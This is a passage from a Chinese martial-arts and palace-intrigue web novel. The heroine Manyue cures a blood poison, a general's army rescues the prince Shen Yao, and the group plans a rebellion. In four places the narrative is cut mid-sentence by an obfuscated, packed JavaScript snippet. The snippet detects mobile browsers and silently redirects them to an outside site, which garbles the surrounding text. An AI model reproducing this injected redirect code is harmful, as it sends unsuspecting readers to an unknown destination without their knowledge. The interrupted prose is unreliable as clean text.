此话一出,附近就有几个混混去看他的马车。 “不要动!”他慌忙去阻止。 倒不是他多在意那些金子,只是那里面还放着李静安的账本,这东西不能丢。 然而,他一露怯,那些混混就认定了里面藏着好东西,他们把沈曜推开,直接挤上马车。 沈曜一个趔趄摔出去,也没人扶他。 他又羞又恼,大喊:“满月,快来救我!” 满月正和小亭说着话,她撇头瞧了瞧那边的形势,没理他。 小亭把洞里的见闻近数描述给满月。 满月仔细想了想,道:“那流萤阵是哄你玩的。地动仪半真半假,大概李巍在小球上做了手脚,最初测出来的地震是真,后来随你们摆阵而变化是假。至于那些黑色的灵机石,也许有点作用,正如灵机锁可以化解内功,这些石头凑到一块儿摆个什么阵大抵能化解它们附近的地动。我猜的。” “那灵机锁呢?又是怎么掉下来的?”她追问。 “我猜那灵机石没法同时对抗地震又对抗我的内力,所以地动开始的那一刻,我用内力击它,它掉下来了。”她说到这里,无奈一挑眉,“可惜没掌握好力道,把房子也击塌了。” “姐姐,为何你回回都能猜对?”小亭郁闷,她费力钻研半天,反而得出的结论没有满月的猜测准确。 看出小亭的心思,满月笑道:“李巍是我的老对手,年少时我闯过他的阵,也中过他的计,在他手上输的足够多、摔的足够惨之后,才摸索出一点胜他的法子。” “什么法子?”小亭追问。 “难说,和他交手,就像在和武林高手对决又没能抢占先机,只有等到对方出招时才想出拆招的法子。”满月顿了顿,道,“就像现在,我没猜错的话,他的局,才刚刚开始。但他要做什么样的局,我一点也猜不到。” 说到这里,她又侧头看看沈曜那边,果然,小孩儿不咋呼了。 那会儿沈曜呼救,没把满月叫来,反而喊来了一群白衣书生。 书生们看着文质彬彬,谁知道,一撸睡袍的袖子,打起仗来比武将都狠。 几个小混混没挣扎几下就被他们给撵下车去。 “多谢……”沈曜看得目瞪口呆,他还以为,读书人都跟自己似的肩不能扛。 为首的书生爽快一笑:“举手之劳,无足挂齿。小兄弟,你先去点点,看看车里少东西了没。” 沈曜掀开帘子,只把三本账册抱在怀里,道:“不必点了,敢问义士大名,来日必当重谢。” “在家种田的落魄书生罢了,名姓不重要,你也不必谢我。”他想了想,又补充一句,“如今成纪遭了难,你这等富贵子弟,别太招摇,否则,这一路有的是人要劫富济贫。” 他说完,领着身后的兄弟们走开了。 “那是主簿家的曹公子,读书挺好,就是死活不肯考秀才。不过他人又爽快又公道,我们都服气。”有人说到。 沈曜默默记住了这个曹公子。他暗自想着,曹公子的话很有道理,自己不能再叫人欺负了,得赶紧去找满月求庇护才对。 他拉着车子,左挤右挤,还没挪到满月她们边上,却听到周边百姓一声惊呼。 他费力拽住马,转身看去。 几波余震渐渐平息,飞起的尘烟落回大地,视野逐渐清晰,人们也终于看到,一片狼藉之外,黑压压的兵马已经沿着旧城墙把成纪县包围的密不透风。 为首的,正是晚烟。 “他能解毒……” 他话未出口,却见满月已经冲了过去。 满月身法极快,一众将士还未来得及做出应对,她就已经冲到晚烟身侧。 晚烟挥枪抵挡,又哪里是满月的对手?她还未出招,满月就一掌打在她心口。 晚烟身躯一震,手上没了力气,长枪也掉落在地。 满月直接跨上她的马,押着晚烟,驾着马往回跑去。 “想解毒?”晚烟冷笑了一声。 满月不和她说话。 “我没法儿解毒。”晚烟又道。 “能不能解毒,把你的血取出来试试就知道了。”满月道。 “满月,归舟很喜欢你。”晚烟又道。 “你别乱说话。”满月道。 “你辅佐他不好吗?为什么要帮这个小孩?”晚烟又问。 “我的事你少管。”满月说着,策马绕过一片一丈多高的废墟。 “最后再提醒你一句,你若执意要保沈曜,今晚你们一个也活不成。”晚烟说。 “我还偏要保他,不管死活的那种。”满月道。 “归舟不好吗?凭什么不能帮他?”晚烟几近恳求。 “就凭这次的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13169244|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地动,归舟想的是怎么给自己谋利,但是沈曜想的是怎么救人。”满月说。 却在这时,满月闻见一股奇香。 “满月,你知道么?我父亲是青城派的后人,他教过我炼蛊。有一种蛊,专门吃人血肉。”晚烟的声音变得有些可怕。 满月感觉不妙,仔细一看,只见晚烟脸上血色全无,身体似乎也在慢慢干瘪。 满月立刻以手作刀划破晚烟的手腕,谁知道,没有一滴血流出。 她心一横,又划破晚烟脖颈处的动脉。还是没有血液流出。 晚烟僵硬回头,迎上满月目光,冷笑一声,举起尚方宝剑:“传左太尉令!” 一众将士纷纷跪倒听令。 晚烟使出最后的力气,高声喊:“巳时后,沈曜不死,可大开杀戒。夺沈曜人头者,封万户侯!” 将士们齐喊听令。 城中一片哗然。很多人都在问:谁是沈曜? 满月不管外面的动静,驾马直冲到沈曜身边。 小亭和沈曜都吓了一跳:晚烟已然成了一副可怕的干尸。 “她可是中了食人血肉的蛊虫?”小亭别过头去问了一句。 满月脸色凝重,没有回答。 偏偏在这时候,打更的十分敬业的敲了五下梆子。五更了,离毒发身亡只剩两个时辰了。 “雕弓呢?”沈曜突然想起来。 “雕弓哥哥说衙门里人的太多太杂,户籍案卷什么的不能没人守着,便去守门去了。” “我哥哥呢?”小亭也突然发现,擎苍没跟着沈曜。 沈曜苦笑一声:“我一会儿就和你哥哥见面了。” “别乱说话!”满月突然喝道。 沈曜闭了嘴。 满月蹲下去,从晚烟的衣服里搜出一把钥匙来,她拿出灵机锁,和那把钥匙配了一下,确认无误后,把钥匙和锁都交给小亭:“快去把县衙里重要的东西都锁起来,然后把雕弓带回来找我们。如若巳时他们真的进攻,还要靠你们俩的两仪四象功来支撑局面。” 小亭郑重点头。 “沈曜,上马车。”她又道。 “为什么?”沈曜刚问出口,随即就明白了满月的用意。 “该把我隔开的,不然一会儿那些取我人头的将士们冲上来,会伤及百姓。”沈曜道。 “还有一种可能:还没等到巳时,你就已经被某些个百姓砍去了脑袋。”满月淡淡道。 满月此话一出,沈曜又想起方才要偷他黄金的混混,不禁惊出一身冷汗。 这时候,满月把马车停在一处开阔无人之地,道:“你放心,我还有个办法,你不会死,你、雕弓、擎苍,你们都不会死。” 39. 神兵天降 满月从袖中掏出了一株万枯草。 这正是李静安藏在账本中的那一颗,这株草毒性极大,李静安只吞服了它的一片小叶子,便立刻一命呜呼。 满月一口将那颗草吞了下去。 “满月,你要做什么?快吐出来!”她速度太快,沈曜根本来不及阻挡。 满月神色不变,道:“昔年崆峒掌门以三十年修为与万枯草对抗,将其血液化为解毒之药。我想着,我这一身功力天下少有敌手,定能及得上崆峒掌门的三十年修为。” 沈曜有些生气:“不管你功力多强,都不能拿命去试。” 满月盘膝而坐,闭目道:“你别吵,影响到我的内息,咱们谁都活不成。” 沈曜闭了嘴,无比煎熬的注视着满月。 只见满月脸色变黄变绿又变红,过一会儿,又浮现出一团黑气。 沈曜看得心惊胆战,不知时间流逝,只觉度日如年。 就连小亭雕弓到他身边他都没有发觉。 小亭想去问沈曜发生了什么,被雕弓制止。两人将满月沈曜护在中心位置,默默摆好阵法,随时准备以两仪四象功迎敌。 又不知过去多久,晨光熹微,虚弱如沈曜,强劲如雕弓,都被血毒折磨得有些支撑不住。 满月突然开始剧烈咳嗽。 沈曜离她最近,立刻便凑过去帮她拍打后背,他虽然着急,还是把声音压得极轻:“满月,怎么样?” 满月忍住咳嗽,还未开口,嘴角却流出一缕鲜血。 “应该成了,你……”她还未说完,便筋疲力解,摇摇晃晃,昏倒在沈曜怀里。 沈曜探她鼻息,觉气息如常,这才略略安心。 “雕弓,满月说崆峒血毒可用她的鲜血解毒,你知不知具体该怎样用?”沈曜问。 雕弓茫然。 这时,只听身后并州军将领号令:“卯时将至,众将士准备迎敌!” 原本已经有些懒散的将士立刻打起精神,蓄势待发。 沈曜突然低下头去,用唇尖覆住了满月嘴角的那一缕鲜血。 此血入体,血毒尽解。 不但如此,沈曜只觉得通体说不出的舒畅有力。 紧接着,他便挨了雕弓一拳。 他迷茫回头,又挨了小亭一拳。 雕弓:“浪子!” 小亭:“狂徒!” 沈曜:“我就解毒。” “我让你看看该怎么解毒。”雕弓白了他一眼,走到满月身边,叫了几下满月,叫不醒她,便自己从她指尖取了一滴血,自行解毒。 “我也没碰到满月的唇……”沈曜理不直气也壮的辩解。 “你还想碰满月姐姐的唇!你怎生这样无耻!”小亭气不打一处来,刚欲骂他,突然反应过来,“什么毒?” “你不知道吗?我们中了崆峒血毒,满月服下万枯草,拼上全身功力,才练出解毒之法。” “那我哥哥中毒了吗?他到底在哪里?”小亭突然着急起来。 “他……” 就在这时,只听得远处马蹄如雷,忽然间,一匹红色小马驮着一人,冲破重重阻隔,停至满月身边。 “哥哥!你怎么了?” 马背上,擎苍已然晕了过去。 雕弓沈曜对视一眼,立刻从满月指尖取血为擎苍解毒。 忽然间,不远处并州将领声音又起:“左太尉令,夺沈曜人头者,封万户侯!卯时已到,将士们,杀啊!” 大军倾巢而出,小亭雕弓立刻布阵迎敌,却在这时,远方山上传来声如洪钟的一声怒喝:“我看谁敢!” 寻声看去,就在众人毫无察觉之际,远方山坡上已经埋伏下一对人马。山坡上,将士整齐列阵,火把点燃,弓箭手就绪,火球、火车也蓄势待发。 竟是梅英带着吴州兵马赶到。 “上天眷顾,梅将军刚好在吴州边境练兵,他听到消息后,带着部队快马加鞭就赶了过来。”擎苍悠悠转醒,同几人解释。 几人同时松了一口气。满月昏迷,单凭他们几个人的功力,就算有两仪四象功,也难保今夜平安。 幸好,神兵天降。 并州将军秦峰却脸色骤变。成纪县四面环山,县城中心却地势低洼,梅英占据高地,真要打起来,己方很容易被瓮中捉鳖。 “梅英,私离驻地按律当斩,你率大军跑来这里,难道是想反了不成?”秦峰怒斥。 梅英道:“我奉太子命来捉反贼,名正言顺,该杀的是你才对。太子殿下,您说对不对?” 沈曜赶紧接道:“对!对!对面的并州军们,现在放下兵器,我饶你们无罪!” “谁敢?左太尉的命令才是军令,将士们,不要管那乳臭未干的小儿,都给我上!”秦峰一声怒喝,一马当先冲向沈曜。 大军见主帅出动,便紧随其后,气势汹汹的向沈曜方向杀去。 沈曜护着满月,擎苍护着沈曜,雕弓抚琴,小亭出掌,两仪四象功威力无穷,竟抵挡住了最前排并州军的攻势。 也是此时,远方山上火球滚落,后方的并州军阵脚大乱。 趁此机会,梅英又下令放箭,弓箭手居高临下,万箭齐发,一时间,吴州兵马未动,并州军便死伤无数。 “将士们,此时方下武器,绕你们不死。”沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200989|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曜又喊了起来。 “饶你妈妈个球!”秦峰怒骂一声,抄起他的狼牙棒就朝沈曜挥去。 雕弓琴声骤然变得尖锐,小亭提气跃起,双掌齐发击秦峰双臂,秦峰双臂立时感到断裂一般的疼痛,两支狼牙棒也跌落在地。 雕弓琴声愈发急促,小亭却突然滞住。 “欲灭其势,先斩大将。小亭,不要于心不忍!”沈曜在后面呼喊。 小亭还是不敢向前。 秦峰发现了小亭的弱点,立刻拔出腰间佩剑,剑峰直逼小亭脖颈。 “小亭,快杀他!”沈曜擎苍齐声大喊。 小亭何时经历过这样的局面?此时她心中惊疑不定,惊疑不定,便便没法集中精神,没法集中精神,便无法使出两仪四象功。 她傻站在那里,见有长剑向自己刺来,连最初在大武宗学习的躲闪身法都忘记,只知道笨拙后退。 擎苍冲过去,捡起地上的狼牙棒便朝秦峰挥去,谁知道,挥了几下都没法碰到秦峰。 眼见着小亭就要被秦峰一剑封喉,突然间,背后抚琴的雕弓一跃而起,扶住小亭的肩膀,带她躲开秦峰的剑招。 “雕弓哥哥,都怪我,我搞砸了。”小亭几乎要哭出来。 “你很厉害了,剩下这一关,我陪你过。”雕弓说着,抽出自己背后的大弓,递到小亭手里,之后握住小亭的手,使一招灵猫铺鼠,直刺向秦峰马头。 马儿毙命,秦峰跌落下来。 小亭身子一颤,想要抽手,却被雕弓死死按住。 “两军对峙,你不杀他,他必杀你,这个时候不能心软。”雕弓说着,又带着小亭和秦峰单挑起来。 秦峰身为并州将军,本就颇有些身手,雕弓手把手带着小亭,行动总是有些不便。三人短兵相接,斗了三十余个回合,雕弓才找到一个破敌的机会。 他趁秦峰抬剑点他头颅之际,使一招抽刀断水,以极快的速度劈秦峰的腰腹。此时两人俱是对准对方要害,不存在谁占优势之说,只能是谁的兵器更快,谁就取对方性命。 小亭浑浑噩噩的跟着雕弓跟秦峰对阵了三十几招,此时明晃晃的宝剑立刻要落到雕弓头上,她吓得连呼吸都忘记,只想着:不能让雕弓哥哥死,一定不能让雕弓哥哥死! 她忘却了方才要杀人时的紧张和畏惧,不由自主的顺着雕弓出招的方向使劲,两人合力,大弓劈入秦峰腰间。 彼时秦峰的宝剑距雕弓头颅只差一寸,他想要在闭眼之前砍下雕弓头颅,但终究没了力气。 沈曜抓住机会,再次站在马车上高声呼喊:“并州的将士们,秦峰已死,现在放下武器,恕你们无罪!” 40. 借粮 满月吃了万枯草后元气大伤,大睡五天五夜。 她醒来时,日正中天。屋子里门窗都开着,小亭坐在她窗边,一只手给她摇着扇子,另一只手抱着个画本子,看得正欢。 “《鸳鸯传》?小亭,你是不是有心上人了?”满月猛的坐起来,趁她不备,把画本子抢过来。 小亭满脸通红,慌慌张张的去给满月倒水:“满月姐姐,快先别管我。你都恢复了吗?还有没有哪里不舒服?” 满月渴极了,灌了一壶水,这才道:“你瞧我气色如何?” 小亭道:“面色红润,一切如常。” “这就是了。”满月啃着桌上的糕点,一尝,奇道:“这竟是京城万香楼的点心?” “是我做的。其实我最拿手的是梨花肘子,可是现在城里粮食紧张,能多取些面和糖已经不容易,便只做了几样简单的点心。”小亭说到这里,拉住满月的手,道:“满月姐姐,我主要是想谢谢你,谢你那日以命做赌救了家兄性命。不似我,粗心大意,竟一直没发现大家中毒。” 满月笑道:“谢我做什么,能渡过那一场浩劫,我们五个谁不是在拿命在赌?要我说,咱们几个各有各的厉害之处,缺一个都不行。” 满月闲不住,吃饱喝足,便拉着小亭去外头查看情况。 临近正午,擎苍正领着几个小吏施粥。 “唐婶子,我瞧着你今儿气色真好,是不是家里的事情有眉了?” 那唐婶盛了粥,往边上一闪,给后面老汉让出道来,低头吸溜着粥,道:“正是呢!今儿军爷们忙活了一上午,把我家埋了地里的值钱物件全给挖了出来。还有雕弓大人,今儿来我们家清算房屋田产了,我听他说,这回建房子的钱都由太子殿下帮我们掏呢!我悄悄问过官爷了,我们家这种,能补到2000钱,这么多钱,盖个小房子绰绰有余了。” 擎苍把粥交给后面老汉,歪头道:“我们家太子心善,他时刻记挂着你们呢!” “可不是嘛!”老汉也插嘴道:“如今太子来了成纪县,衙门里的官人对咱们老百姓的态度都好起来了。原先他们上家里收税盘查什么的,蛮横不讲理不说,还得问我们要茶水钱。这几回他们来家里,不光分文不取,还主动帮我打水,搞得我都不自在了!” “太子殿下要是能一直待在成纪县就好了!”另一个小朋友也跟着说了一句。 “哎,话不能乱说。咱们太子殿下,那可是要回长安当皇帝的!他这么好的人,等着当了皇帝,咱们全天下的百姓都有好日子过!” “但我怎么听说,这位太子是被赶出来的呢?听说现在掌管朝政的人是左太尉,他还想杀掉太子呢!” “他要杀太子?我第一个不同意!大不了我也带着弟兄们去投奔梅将军,咱们一块儿杀回京城,把左太尉给赶出去。”一个汉子道。 “就是这么个道理!”另一个汉子也附和,“太子刚到成纪,就碰上九鼎现世,还有那句‘真龙之气,盘踞西北’,这不正是说的咱们太子殿下吗?我看呀,左太尉没法儿篡位,太子即位才是天命所归。” 满月跟小亭悄悄坐在粥棚背面听着,越听越觉得神奇。 “沈曜这几天都干了些什么,叫百姓们都这么喜欢他?还有那句‘真龙之气,盘踞西北’,这又是怎么个事?” 小亭掰着手指头道:“干了什么?就咱们刚才听到的,请梅将军的军队帮百姓搜财物、拿自己的几车钱财帮百姓盖房子、免除三年赋税,至于那个大鼎……” 小亭压低了声音,凑近满月道:“地动结束之后有九个坊里都出现了一个大鼎,据说,那是周显王时期丢失的九鼎,只有真龙天子才能得到。最开始,人人都传,西北的李归舟大将军英明神武,有帝王之相。而现在的太子沈曜,一到成纪,成纪就发生地震,是不祥之身。” 满月一笑,这些那天晚上她就隐约猜到了。 “幸好满月姐姐你提前做了准备,瞭望塔上留着的那俩官差,一直留意着各个坊市的动静,那九鼎刚一现世,他们就盯住了散布消息的人。一天不到,我们就把那些人给捉起来了。” “再往后,沈曜做了些好事,加上咱们的人暗中引导,不知不觉舆论就成了现在这个样子。” “谁对他们好,百姓们都清楚。”满月评了一句,站起来,问,“沈曜呢?也跟着雕弓在外头清算田产吗?” “哥!沈曜在哪?”小亭扯嗓子喊了一声。 擎苍从聊天中分出神来,扯嗓子回她:“屋里呢!” 衙门里,沈曜的脸色并不好看。 “冀州、益州没给咱回信;并州、荆州、吴州、兖州明确表示不借粮;凉州的态度好些,但凉州九个县都突然遭了蝗灾,属实拿不出粮来。还有几个派出去到民间买粮的人说,大家一听粮食要送到成纪,就没人敢卖。不过,有几个离得远的州还没送消息回来。太子殿下,您看,要不再等等?”县丞大人站在下首,小心翼翼道。 “等?眼下这些粮食,撑三天都是问题,叫我如何能等?”沈曜气极,一巴掌重重拍在书案上,震得笔墨纸砚一阵乱响,“白纸黑字,加盖玉玺,却无一州听令,这天底下,王法何在? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254845|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 县丞赶紧跪下,吓得不敢说话。 “你起来,这不干你事。”沈曜道。 县丞又站起来,愈发手足难安。 这时候,大门打开,满月带着小亭大步流星走进来。 满月冲县丞使眼色,县丞便先退了出去。 “满月,你醒了?”见到满月,沈曜脸色立刻由阴转晴。 “怎么,为粮食发愁呢?”满月笑道。 “正是。”沈曜点点头,道,“满月,你可有解决之策?” “当然。” “是什么?”沈曜一下子满怀期待。 满月话锋一转:“听小亭说,你这两天忙得好几次都忘了吃饭?” 沈曜愣了一下,挠头道:“也没饿着。” 满月拉住沈曜,不容置疑道:“先随我去吃饭,吃过饭我再告诉你。” 长安,太极宫内。 左仪坐在最上首,身后是帮他摇扇子的宫女,身前是南方新进贡的瓜果。 “两位爱卿,不给成纪送粮,孤心中甚为不安。如今梅将军和那五万大军还驻扎在城郊,一但没了粮食,军民合谋闹事,那该如何是好?” 李巍啜了口茶,不紧不慢道:“那就让他们闹,反了更好。司隶兵强马壮,他们没有充足的军需补给,不敢贸然进攻。凉州受灾缺粮,不是上上之策。他们真要反,无非北上吞并州,或者向南吞吴州。如今两州的势力愈发强大,早该有所打压。不如先叫他们斗个两败俱伤,我们等时机成熟,坐收渔翁之利。” 左仪又问:“万一凉州的西北大军与成纪联合,又该如何?” 李巍神色不变:“那官将军的西南军,可倾巢而出,直捣西北军老巢。” “李先生,那西北大将军李归舟,可是你的儿子。” “是沈归舟。”李巍把茶一饮而尽,道“前朝余孽的私生子罢了,与我李巍无关。” 左仪深深看他一眼,随即,目光又停留在官晏宁身上。 官晏宁全神贯注的剥着枇杷,浑然不觉。 左仪只得开口:“官爱卿,你如何看?” 官晏宁头也不抬:“枇杷鲜美,臣想拿些回府。” 左仪干咳了声,道:“枇杷要多少有多少,你先说说,成纪县的事,西南大军的事,你怎么看?” “成纪县?”官晏宁做思考模样,随即拍胸脯表态:“李先生深谋远虑,左大人英明决断,不论你们干什么,我配合!” 左仪摇摇头,这位官大人,这些年对自己言听计从,但似乎,从未展露过真心。 41. 一念障目 梅英来得太急,雕弓这几年又使惯了弓,满月一身内功就能横行天下,身上更懒得带武器,是以真要比武,几人半天却没找出一把像样的剑来。 成纪县尚文不尚武,差役们翻遍了仓库,一堆锈迹斑斑的铁剑里,独有从死去的胡大人那里顺来的那把长剑看着能用。 雕弓不挑,他从差役手里接过剑,温声道:“就这把罢。” 他又冲梅英拱手施礼:“晚辈学剑日浅,万望梅将军手下留情。” 梅英还他一礼,却朗声笑道:“雕弓大人温恭谦逊,和小满月还真是不一样。” 满月在一边喊:“老梅将军,您别废话了,雕弓这厮难缠的很,您小心一不留神叫他挑了枪。” 梅英哼了一声,右手持枪,左足向前,翻着枪花,使出大武宗六合枪的第一招“灵猫扑鼠”。 这套枪法他使了三十年,前十七年他使得一丝不苟,每一个动作都和枪谱中一模一样,任哪个老师也挑不出他的错处。 就算是比枪比输了,人家也会夸一句:你的枪法好标准啊。 第十七年,他最引以为傲的六合枪,被一个叫殷必达的汉子嘲笑,那汉子还不费吹灰之力就挑了他的枪。 从那天起,他似乎又悟出来些什么。 从此之后,他使枪,一点规矩也不顾,处处是破绽。但是,形变而神不变,每一寸破绽,都是他给下一个招式留的余地。 他成了个泥鳅,滑不溜秋,从前挑不出他错处来的那些人,如今一点也打不过他。 他又去军中跟将军们打,去大武宗跟高手们打,甚至遍访民间,但凡吴州有点名气的高手,他都比了个便。 一套六合枪,横行天下,战无不胜。 他想,若是老对手鸣笳还在,此时应该比不过他了吧? 若是那个叫殷必达的勇士还在,应该也比不过他了吧? 哦对,还有那个据说学会了恒山剑的小娃娃,叫冯兰若。比他小那么多,还是个女娃娃,怎么可能打得过他? 他似乎又回到了年轻时不可一世的模样。 偏偏这时,小娃娃冯兰若改名满月,从大武宗跑了出来。 他得意洋洋的找满月挑战,谁知满月不用一招一式,随便一抬掌,就把他击出去几丈远。 他堂堂七尺男儿汉,顷刻之间,十年功名毁于一旦。 他冷静下来,不恼不羞,重新找满月定了规矩,从此之后,六合枪只比恒山剑。 满月不置可否。 但每次满月路过吴州,梅英去堵她,她都会和他比一场。 最开始,他坚持不了一招。 慢慢的,他找到办法,挺过一招、两招招。 后来,顶过三招、四招。 到今年,又接过五招、八招。 就这么着,和满月比恒山剑,他比上了瘾。毕竟,进一寸有一寸的欢喜。 这半年,他仕途不顺,满月也各处乱跑,他没碰上她,便自己苦练。 他觉得,以自己现在的水平,抵过十招恒山剑应该不成问题。 恒山剑只有十二招,抵过十招,破了恒山剑便指日可待。 生活真美好,真有盼头啊! 今日对手从满月换成了雕弓,他便更加自信,更加充满期待。 毕竟,满月内功底子太好,一套恒山剑刚毅凶猛,无法阻挡。 雕弓的剑法却很温和,就像他这个人一样,一副温润君子模样。和他打起来很舒服。 你来我往,不知不觉已经过了十招。 梅英有点欣喜,甚至有点自满,他想着,说不定今日可以一举打败雕弓,打败那不可战胜的恒山剑。 这样想着,到第十一招,他出招愈发凶猛,每一处变换都直捣要害。 他见雕弓剑法变得生硬,又听到背后那个叫小亭的姑娘倒吸一口冷气,便更认定自己出招高妙,雕弓实难招架。 他继续紧逼,把雕弓逼至墙角,谁知,雕弓一招“天地白驹”,飘飘乎移至自己身后,看似不经意间反手回击,一股劲风,竟直接把剑架在自己肩头。 他抽身躲避,变幻身法以枪回击,雕弓却再一次使出了第一招“迎风挥扇”。内力强劲,剑招过后亦有余威。 梅英心底一凉,果然,自己手里的六合枪又一次被“迎风挥扇”的“风”刮倒在地。 “梅英将军,你又败了,败在第一招上。”满月笑道。 梅英迟疑一瞬,随即冲众人拱手:“多谢指教,军中事未了,我们改日再比。” 他说罢,躬身拾枪。 指尖将将要碰到枪身的那一瞬,满月在头顶上状似无意般说了一句:“梅英将军,何不随我们一道,拥着太子,反了左仪,杀回京去。” 梅英的手一抖,直直站起来,黯然道:“大武宗六合枪尚破不了逆贼的恒山剑,我梅英如何配谈家国事?” 沈曜扶他起来,面露不愉:“这套恒山剑,满月会使,雕弓会使,以梅将军的意思,我身边的满月雕弓,难道都是逆贼吗?” 梅英微一迟疑,就在这时,雕弓突然扔了剑,以迅雷不及掩耳之势,捡起地上的六合大枪,熟练的使出大武宗枪法的第一招“灵猫扑鼠”,气势汹汹向梅英刺去。 梅英吃了一惊,手上没了最趁手的武器,只得左右躲闪,越躲闪,越狼狈。 “雕弓大人,我不起兵心意已定,你何必再苦苦逼我?” 雕弓从前在大武宗练了多年,枪法一样高强。他手上六合大枪不停,嘴上也多了几分戾气:“我今日偏偏要这样逼你。” 梅英这些年只顾钻研六合枪法,没了枪,一时间慌不择路,处处败退。 就在他退无可退之时,只听满月在身后大喊:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387921|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅英将军,何不以恒山剑破敌?” 话音未落,眼见长枪已经刺来。梅英来不及多想,脚尖一踢,地上的长剑飞起,他伸手握住,随即就是一招“金花落地”,熟稔前挑,一剑便破了雕弓的“黑龙入洞”。 不经思索的,他又使出一招“扫径寻梅”,破了雕弓紧随其后的“凤凰点头”。 随后,雕弓尚未出招,他反手一招“苍龙摆尾”,直逼雕弓下盘。 雕弓想要躲闪已然来不及,情急之下,他以枪撑地,飞身躲避。 梅英抓住机会,大喊一声“着!”,顺手一招“猛虎戏山”,剑尖直抵雕弓心脏。 一整套动作,行云流水,一气呵成。 梅英手握长剑,后知后觉的感到震惊。 百战不殆,前提从来都是知己知彼。他与满月比武,早就不知不觉参透了恒山剑。 雕弓后退,浅笑,抱拳:“想不到梅英大人的恒山剑比六合枪更胜一筹。在下输了,心服口服。 小亭在一边拍手大笑:“梅英将军也会使恒山剑,那么梅英将军也是逆贼!” 梅英一个激灵,迅速扔了手中的剑。 满月把剑捡起来,平静道:“心之所向,身之所往。一念遮目,不见万物。” 她说完,自己便笑了:“老梅将军,你结交鸣笳,缠我比剑,更是始终走不出十三年前那场以多胜少的围剿。我就不信,你的心思整日围着我们这些反贼转,心里对我们就没有一点喜欢?” 小亭跟着也噗嗤一声笑出来。 雕弓浅笑,沈曜盯着满月,饶有趣味。 梅英急道:“小满月,你别乱讲。” 满月上前一步,道:“我可不是乱讲哟。梅将军,殷必达他们是不是逆贼,其实您心里最清楚。他们从未行谋逆事,只是错在不称臣。 而你也没错,你自小在大武宗苦练武功,先生们说,武者当忠义,武者当保家卫国。 错就错在,你第一次独立领朝廷命,就是以多欺少,杀勇毅之辈,行不义之事。错更错在,这三年吴州太守换了一个又一个,个个不尽人意,行尽祸国殃民事。你身为守将,反不得,看不惯,不得已,躲到吴州边界,以比武为寄托。 你以为,六合枪胜了恒山剑,大武宗的善便胜了世间恶。 殊不知,刀枪之法无善恶。分善恶者,唯执利器者尔。 梅英将军,不要再麻痹自己了,给你个拨云见日的机会,从今天起,跟着我们,想你真心所想,做你真心想做,放眼苍生万物。 你若愿意,不管是六合枪还是恒山剑,都将是你手中利器。执此利刃,以金刚不坏之身,以千锤百炼之功,斩妖除魔,还世间风清气正,还自己,一个意气风发的梅英少将军。” 讲到那句梅英意气风发的少将军时,两鬓微霜的梅英,突然之间蹲在地上,抱头痛哭。 42. 艳福不浅 擎苍给自己留了碗粥,就着咸菜,和大爷大婶们在大街上吃了午饭。收拾粥棚打道回府时,他才发现沈曜他们都没有吃饭。 他不知道发生了什么,急忙忙到县衙去找人。 正是太阳最毒的时候,差役们都已经歇息,县衙院子空荡荡,唯有大堂大门敞开,四个少年人正襟危坐于左右两侧。 大堂中央,一个中年将军,意气风发的站在沙盘之前,语气激昂,指点江山。 擎苍大气也不敢出一声,搬个板凳,坐到小亭旁边。 只见梅英手执木杆,于沙盘中一一扫过: “今天下一十三州,扬、荆、兖、蜀四州最为富足,豫、幽、凉、蜀四州兵马最为强壮。最重要的是,以上七州,除凉州外,各州长官都唯左仪马首是瞻。左仪多年经营,已然兵强马壮,坐拥天下。 反观我方,现在手中仅有四万兵马,和一个百废待兴的成纪县。所以,依我之见,想杀回京城,第一,要扩大领地,第二,要寻找同盟。” “敢问将军,如何扩大领地,找谁做我同盟?”沈曜问。 梅英在沙盘上把并州,吴州处圈了起来,道:“自古以来,攻城略地、统一江山,远交近攻都是上上之策。” 沈曜豁然开朗,赞道:“梅将军韬略过人。” 梅英仰头自豪一笑,接下了沈曜的称赞。 